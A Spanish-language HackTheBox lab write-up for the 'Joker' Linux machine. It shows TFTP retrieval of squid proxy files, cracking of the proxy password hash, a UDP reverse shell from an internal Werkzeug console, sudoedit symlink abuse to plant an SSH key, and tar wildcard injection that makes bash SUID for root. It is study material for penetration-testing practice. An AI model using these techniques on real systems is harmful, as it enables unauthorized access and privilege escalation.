Maquina Joker - htb writeup

Firtmiracle el
Maquina Joker - htb writeup

El dia de hoy vamos a resolver Joker de hackthebox una maquina linux de dificultad hard. Para poder comprometer esta maquina realizaremos la enumeración de un squid proxy a traves del servicio tftp del protocolo udp, en donde obtenedremos unas credenciales que nos permitiran conectarnos a un servicio de consola donde podamos obtener ejecuciòn remota de comandos, evadiendo reglas iptables definidas; despues nos aprovecharemos de un privilegio de sudoers muy interesante para migrar a un usuario con mayores privilegios y finalmente veremos el riesgo de usar wildcards en tareas programadas que nos permitiran ganar acceso como el usuario root y obtener acceso total al sistema.

Maquina bastante guapa asi que a darle!.

Vamos a comenzar como de costumbre creando un directorio con el nombre de la maquina:

❯ mkdir Joker
❯ ls

 Joker

Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:

❯ which mkt
mkt () {
	mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
 content   exploits   nmap   scripts

ENUMERACION #

Comenzaremos con la fase de Enumeracion, mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.10.21
PING 10.10.10.21 (10.10.10.21) 56(84) bytes of data.
64 bytes from 10.10.10.21: icmp_seq=1 ttl=63 time=106 ms

--- 10.10.10.21 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 105.889/105.889/105.889/0.000 ms

Vemos que la maquina nos responde, con un ttl de 63 y por proximidad seria correspondiente a una maquina linux.

ESCANEO DE PUERTOS

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vv -n -Pn 10.10.10.21 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-08-25 23:25 GMT
Initiating SYN Stealth Scan at 23:25
Scanning 10.10.10.21 [65535 ports]
Discovered open port 22/tcp on 10.10.10.21
Discovered open port 3128/tcp on 10.10.10.21
Completed SYN Stealth Scan at 23:25, 26.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.21
Host is up, received user-set (0.12s latency).
Scanned at 2023-08-25 23:25:26 GMT for 26s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
3128/tcp open  squid-http syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.53 seconds
           Raw packets sent: 131087 (5.768MB) | Rcvd: 21 (924B)

ESCANEO DE VERSION Y SERVICIOS

❯ nmap -sCV -p22,3128 10.10.10.21 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-08-25 23:26 GMT
Nmap scan report for 10.10.10.21
Host is up (0.13s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA)
|   256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA)
|_  256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519)
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.63 seconds

Visulizamos información interesante de los puertos escaneados:

Puerto Servicio Versión
22 SSH OpenSSH 7.3p1 Ubuntu 1ubuntu0.1
3128 SQUID-HTTP http-proxy Squid

EXPLOTACION #

Comenzamos abriendo nuestro navegador y observamos el servicio correspondiente al puerto 3128.

Como vemos que se trata de un squid proxy podemos apoyarnos de nuestra extensión foxy proxy para agregar el proxy correspondiente a la maquina victima y asi intentar ver si al pasar con este nos muestra un contenido distinto.

Vemos que aun no podemos visualizar el contenido y que el servicio se queda cargando sin responder.

Ahora como vemos que se encuentra activo el squid proxy podemos intentar pasar a traves de este y intentar descubrir puertos internos de la maquina con la ayuda de wfuzz.

❯ wfuzz -c --hc=404 -t 20 --hh=3576 --hw=400 -z range,0-65535 -p 10.10.10.21:3128:HTTP -u http://localhost:FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://localhost:FUZZ/
Total requests: 65536

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000001:   400        151 L    416 W      3550 Ch     "0"                                                                                                                   
000000022:   407        144 L    393 W      3590 Ch     "21"                                                                                                                  
000000071:   407        144 L    393 W      3590 Ch     "70"                                                                                                                  
000000211:   407        144 L    393 W      3594 Ch     "210"                                                                                                                 
000000281:   407        144 L    393 W      3594 Ch     "280"                                                                                                                 
000000489:   407        144 L    393 W      3594 Ch     "488"                                                                                                                 
000000444:   407        144 L    393 W      3594 Ch     "443"                                                                                                                 
000000592:   407        144 L    393 W      3594 Ch     "591"                                                                                                                 
000000778:   407        144 L    393 W      3594 Ch     "777"

La herramienta nos reporta algunos posibles puertos que se encuentren activo de manera local, pero vimos que con nmap estos no se mostraban. Ahora si bien es cierto el puerto 21 no se encuentra externamente abierto, pero si consideramos los puertos por UDP tenemos al servicio tftp en el puerto 69.

Si ahora tratamos con nmap de enumerar el puerto 69 por udp este se encuentra en esta filtered.

❯ nmap -p69 -sU 10.10.10.21 -n -v
Starting Nmap 7.92 ( https://nmap.org ) at 2023-08-25 23:44 GMT
Initiating Ping Scan at 23:44
Scanning 10.10.10.21 [4 ports]
Completed Ping Scan at 23:44, 0.12s elapsed (1 total hosts)
Initiating UDP Scan at 23:44
Scanning 10.10.10.21 [1 port]
Completed UDP Scan at 23:44, 1.09s elapsed (1 total ports)
Nmap scan report for 10.10.10.21
Host is up (0.11s latency).

PORT   STATE         SERVICE
69/udp open|filtered tftp

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.34 seconds
           Raw packets sent: 6 (246B) | Rcvd: 4 (162B)

Probamos a conectarnos al servicio y al intentar extraer alguna información nos responde con un mensjae de violación.

❯ tftp 10.10.10.21
tftp> get /etc/passwd
Error code 2: Access violation
tftp> get /etc/
Error code 2: Access violation
tftp>

Como ya previamente sabemos que se esta ejecutando el servicio de squid proxy, podemos intentar traernos el archivo de configuración, que por defecto se encuentra en la ruta /etc/squid/squid.conf.

❯ tftp 10.10.10.21
tftp> get /etc/squid/squid.conf
Received 295428 bytes in 66.4 seconds
tftp>

Conseguimos traernos el archivo y si ahora lo cateamos vemos un contenido interesante.

❯ ls
 squid.conf
❯ /bin/cat squid.conf | grep -v "^#" | sed '/^\s*$/d'
acl SSL_ports port 443
acl Safe_ports port 80		# http
acl Safe_ports port 21		# ftp
acl Safe_ports port 443		# https
acl Safe_ports port 70		# gopher
acl Safe_ports port 210		# wais
acl Safe_ports port 1025-65535	# unregistered ports
acl Safe_ports port 280		# http-mgmt
acl Safe_ports port 488		# gss-http
acl Safe_ports port 591		# filemaker
acl Safe_ports port 777		# multiling http
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access deny manager
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords
auth_param basic realm kalamari
acl authenticated proxy_auth REQUIRED
http_access allow authenticated
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp:		1440	20%	10080
refresh_pattern ^gopher:	1440	0%	1440
refresh_pattern -i (/cgi-bin/|\?) 0	0%	0
refresh_pattern (Release|Packages(.gz)*)$      0       20%     2880
refresh_pattern .		0	20%	4320

Podemos observar una ruta que contiene contraseñas, asi que vamos a proceder a traernos el archivo y obtenemos unas credenciales hasheadas.

❯ tftp 10.10.10.21
tftp> get /etc/squid/passwords
Received 48 bytes in 0.1 seconds
❯ /bin/cat passwords
kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0

Vamos a proceder a crackearlas con john y obtenemos unas credenciales validas kalamari:ihateseafood

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX512BW 16x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ihateseafood     (kalamari)
1g 0:00:00:19 DONE (2023-08-25 23:57) 0.05173g/s 378636p/s 378636c/s 378636C/s ihateyou456!..ihatepz
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ya que contamos con credenciales validas, podemos usarlas para el proxy que anteriormente agregamos.

Como ahora estamos pasando correctamente por el proxy, podemos enumerar los servicios de la maquina victima como si estuvieramos localmente.

Si accedemos a nuestra ip local, vemos que en el puerto 80 hay un contenido diferente que corresponde a shorty url

Ya que estamos en otro servicio, podemos enumerar rutas disponibles y esta vez emplearemos gobuster para hacerlo.

❯ gobuster dir -t 150 -u http://127.0.0.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --proxy http://kalamari:ihateseafood@10.10.10.21:3128
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://127.0.0.1
[+] Method:                  GET
[+] Threads:                 150
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   http://kalamari:ihateseafood@10.10.10.21:3128
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/08/26 00:11:32 Starting gobuster in directory enumeration mode
===============================================================
/list                 (Status: 301) [Size: 251] [--> http://127.0.0.1/list/]
/console              (Status: 200) [Size: 1479]

Encontramos la ruta console y si vemos el contenido, tenemos acceso a una consola interactiva.

Si interactuamos vemos que podemos ejecutar comandos.

Si queremos enviarnos una conexión a nuestra maquina usando nc no tenemos exito, pero si visualizamos las reglas de conexión permitidas, observamos que solo estan permitidas las conexiones por tcp del puerto 22 y 3128 y al contrario por udp todas las conexiones estan permitidas.

'# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
*filter
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
COMMIT
# Completed on Fri May 19 18:01:16 2017'  

Teniendo en cuenta que por udp todo esta permitido, vamos a mandarnos la conexión a traves de udp, solo debemos añadir el parametro -u.

Nos ponemos en escucha y recibimos la conexión.

❯ ncat -nlvp 443 -u
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.21.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
werkzeug

Lo que sigue como de costumbre es obtener una tty full interactiva.

$ script /dev/null -c bash
Script started, file is /dev/null
werkzeug@joker:~$ ^Z     
zsh: suspended  ncat -nlvp 443 -u
❯ stty raw -echo; fg
[1]  + continued  ncat -nlvp 443 -u
                                   reset xterm
werkzeug@joker:~$ export term=XTERM
werkzeug@joker:~$ export shell=BASH
werkzeug@joker:~$ stty rows 45 columns 184

Una vez en el sitema como el usuario werkzeug, vemos que tenemos asignado un permiso a nivel de sudoers donde podemos ejecutar el comando sudoedit como el usuario alekos sin proporcionar contraseña.

werkzeug@joker:~$ sudo -l
Matching Defaults entries for werkzeug on joker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, sudoedit_follow, !sudoedit_checkdir

User werkzeug may run the following commands on joker:
    (alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html

Observamos que podemos ejecutar un archivo de nombre layout.html que se encuentra en cualquier directorio dentro de la ruta /var/www/*

werkzeug@joker:~$ ls -l
total 12
-rwxr-x--- 1 root     werkzeug  581 May 18  2017 manage-shorty.py
drwxr-x--- 5 root     werkzeug 4096 May 18  2017 shorty
drwxr-xr-x 2 werkzeug werkzeug 4096 May 18  2017 testing
werkzeug@joker:~$ cd testing/
werkzeug@joker:~/testing$ ls
layout.html

Vemos que dentro del directorio testing se encuentra un archivo layout.html, pero segun el privilegio que tenemos asignado el archivo layout.html debe encontrarse dentro de dos subdirectorios cualquiera.

Y dado que tenemos permiso de escritura en testing, podemos crear dentro de este otro directorio y dentro el archivo layout.html.

werkzeug@joker:~$ cd testing/
werkzeug@joker:~/testing$ mkdir test
werkzeug@joker:~/testing$ cd !$
cd test
werkzeug@joker:~/testing/test$ touch layout.html

Si ahora usamos el comando sudoedit vemos que no nos pide proporcionar contraseña.

werkzeug@joker:~/testing/test$ sudoedit -u alekos /var/www/testing/test/layout.html 
Unable to create directory /var/www/.nano: Permission denied
It is required for saving/loading search history or cursor positions.

Press Enter to continue

Al ver esto, lo que podemos tratar de hacer es aprovecharnos de este permiso y aprovecharnos del principio basico de claves rsa, mediante el cual al creemos el archivo layout.html y que este sea un link simbolico a /home/alekos/.ssh/authorized_keys, donde al insertar nuestra clave publica como authorized_keys, podamos conectarnos sin necesidad de proporcionar una contraseña y al poder editar este archivo como el usuario alekos sera este el que ejecute la acción.

De este modo sera como si estuvieramos insertando nuestra clave publica mediante el archivo layout.html a el directorio .ssh del usuario alekos.

werkzeug@joker:~/testing/test$ ln -s -f /home/alekos/.ssh/authorized_keys layout.html 
werkzeug@joker:~/testing/test$ sudoedit -u alekos /var/www/testing/test/layout.html 
Unable to create directory /var/www/.nano: Permission denied
It is required for saving/loading search history or cursor positions.

Press Enter to continue

werkzeug@joker:~/testing/test$ cat layout.html 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYvqYRwqRrHydQfmmP56U9Wkec5IS2odMcoFxXppd5IPdzzf6CIv3skuKorlyi8HZCbsHnhm57Fqzn3PZWZ7pp5rgFzTPneh4a4W7NJONRxsuRwT4SWWNzmSjINyQrWurhctekrh3rRuhDwtSIz9rTjFKNCsmTbk6Qm3Fx3+JfYuKhuq4lNwSo3QqU2+yNv+svzzs66sdq+E/2Z0bhoi5bubhwj5g739A5odh57Hey9AfNtsK9vcVOpL+yH9RAwNHfRSHxM8GJrInMc3Twb9a8FQ8MSNO7gXd2+ykRqP0L8TkNJMggNTpmCZctL7a1wJHbTjcj68JO9nmFJgyh0BZQ8wlQetcDgo0yQ3jIhoIvN7GzPyJbo5X3cFhw/2gXSxWVLRwk6e7RQELp2SZeEFXN6ycimU4tbWEOrexJO2VwZQp8ZWv46ffUj4c4jYAiZ81i3wVJoko0uLcE9KENb/0E+9dnx5uMLUDNXz8x9EFwOkN1qxD3skGtR3dXMFZFRKM= root@fmiracle

De este modo ahora podemos conectarnos como el usuario alekos.

❯ ssh alekos@10.10.10.21
The authenticity of host '10.10.10.21 (10.10.10.21)' can't be established.
ECDSA key fingerprint is SHA256:1yj4blzJwO5TYIZYFB3HMwXEqeflHc2iF1Idp3lZ94k.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.21' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Sat May 20 16:38:08 2017 from 10.10.13.210
alekos@joker:~$

Ahora podemos dirigirnos a su directorio personal y visualizar la primera flag user.txt.

alekos@joker:~$ ls
backup  development  user.txt
alekos@joker:~$ cat user.txt 
fcbfa16ff0623562479c4a6a7e4897ba

ELEVACION DE PRIVILEGIOS #

Listando el contenido del directorio de alekos, vemos dos directorio uno de development el cual contiene scripts en python y el directorio backup el cual contiene archivos comprimidos con tar.

alekos@joker:~$ ls
backup  development  user.txt
alekos@joker:~$ cd development/
alekos@joker:~/development$ ls
__init__.py  application.py  data  models.py  static  templates  utils.py  views.py
alekos@joker:~/development$ cd ..
alekos@joker:~$ cd backup/
alekos@joker:~/backup$ ls
dev-1514134201.tar.gz  dev-1693005901.tar.gz  dev-1693006801.tar.gz  dev-1693007701.tar.gz  dev-1693008601.tar.gz  dev-1693009501.tar.gz  dev-1693010402.tar.gz
dev-1514134501.tar.gz  dev-1693006201.tar.gz  dev-1693007101.tar.gz  dev-1693008001.tar.gz  dev-1693008902.tar.gz  dev-1693009801.tar.gz  dev-1693010701.tar.gz
dev-1693005601.tar.gz  dev-1693006501.tar.gz  dev-1693007401.tar.gz  dev-1693008301.tar.gz  dev-1693009201.tar.gz  dev-1693010101.tar.gz  dev-1693011002.tar.gz

Si descomprimimos alguno de los comprimidos, obsevamos que dentro de este vemos los mismos archivos que se encontraban en la ruta development. Podemos intuir entonces que mediante una tarea que se ejecuta a intervalos regulares de tiempo, se esta comprimiendo todo el contenido del directorio development y lo esta almancenando en backup.

alekos@joker:~/backup$ cp dev-1514134201.tar.gz /tmp/
alekos@joker:~/backup$ cd /tmp/
alekos@joker:/tmp$ ls
dev-1514134201.tar.gz  f  systemd-private-67c5a0aba61c4233b0464cb22f25c7cb-systemd-timesyncd.service-5cvsvV  vmware-root
alekos@joker:/tmp$ mkdir test
alekos@joker:/tmp$ cd test/
alekos@joker:/tmp/test$ mv ../dev-1514134201.tar.gz .
alekos@joker:/tmp/test$ tar -xf dev-1514134201.tar.gz 
alekos@joker:/tmp/test$ ls
__init__.py  application.py  data  dev-1514134201.tar.gz  models.py  static  templates  utils.py  views.py

Viendo esto lo mas probable es que se este usando tar, ejecutandolo de esta manera tar -cf /development/* y dado el caso podriamos aprovechar el uso de Wildcards y tratar de obtener una shell.

Si usamos nuestra web de confianza:

Vemos que para obtener una shell, podemos hacerlo con los siguientes parametros.

Y como se esta utilizando Wildcards, podemos crearnos dos archivos de nombre --checkpoint=1 y --checkpoint-action=exec=EJECUTA LO QUE QUIERAS.

Para ello al crear los archivos que contienen -, debemos anteponer -- para hacerlo correctamente.

En el segundo archivo que corresponde a la ejecución, voy a crearme un archivo en python el cual otorgue el permiso suid a la bash.

alekos@joker:~/development$ cat abusing_wildcard.py 
import os

os.system("chmod u+s /bin/bash")

y seguidamente voy a crear los dos archivos necesarios, de modo que al ejecutarse el comando tar sobre todos los archivos tomara los nombres de estos dos ultimos como parametros y en consecuencia ejecutara el comando asignado, otorgando el privilegio suid a la bash.

alekos@joker:~/development$ touch -- --checkpoint=1
alekos@joker:~/development$ touch -- '--checkpoint-action=exec=python abusing_wildcard.py'
alekos@joker:~/development$ ls -l
total 32
-rw-rw-r-- 1 alekos alekos    0 Aug 26 04:05 --checkpoint-action=exec=python abusing_wildcard.py
-rw-rw-r-- 1 alekos alekos    0 Aug 26 04:04 --checkpoint=1
-rw-r----- 1 alekos alekos    0 May 18  2017 __init__.py
-rw-rw-r-- 1 alekos alekos   44 Aug 26 04:07 abusing_wildcard.py
-rw-r----- 1 alekos alekos 1452 May 18  2017 application.py
drwxrwx--- 2 alekos alekos 4096 May 18  2017 data
-rw-r----- 1 alekos alekos  997 May 18  2017 models.py
drwxr-x--- 2 alekos alekos 4096 May 18  2017 static
drwxr-x--- 2 alekos alekos 4096 May 18  2017 templates
-rw-r----- 1 alekos alekos 2500 May 18  2017 utils.py
-rw-r----- 1 alekos alekos 1748 May 18  2017 views.py

Pasado unos minutos listamos la bash y vemos que se le dio el permiso correspondiente de manera exitosa.

alekos@joker:~/development$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1041576 May 16  2017 /bin/bash

Finalmente lo que nos quedaria por hacer es convertimos como el usuario root y leer la segunda flag root.txt.

alekos@joker:~/development$ bash -p
bash-4.3# whoami
root
bash-4.3# cd /root/
bash-4.3# cat root.txt 
bash-4.3# cat root.txt 
90fcbcbbb01891eec43448b6b6d7051b

Comments

comments powered by Disqus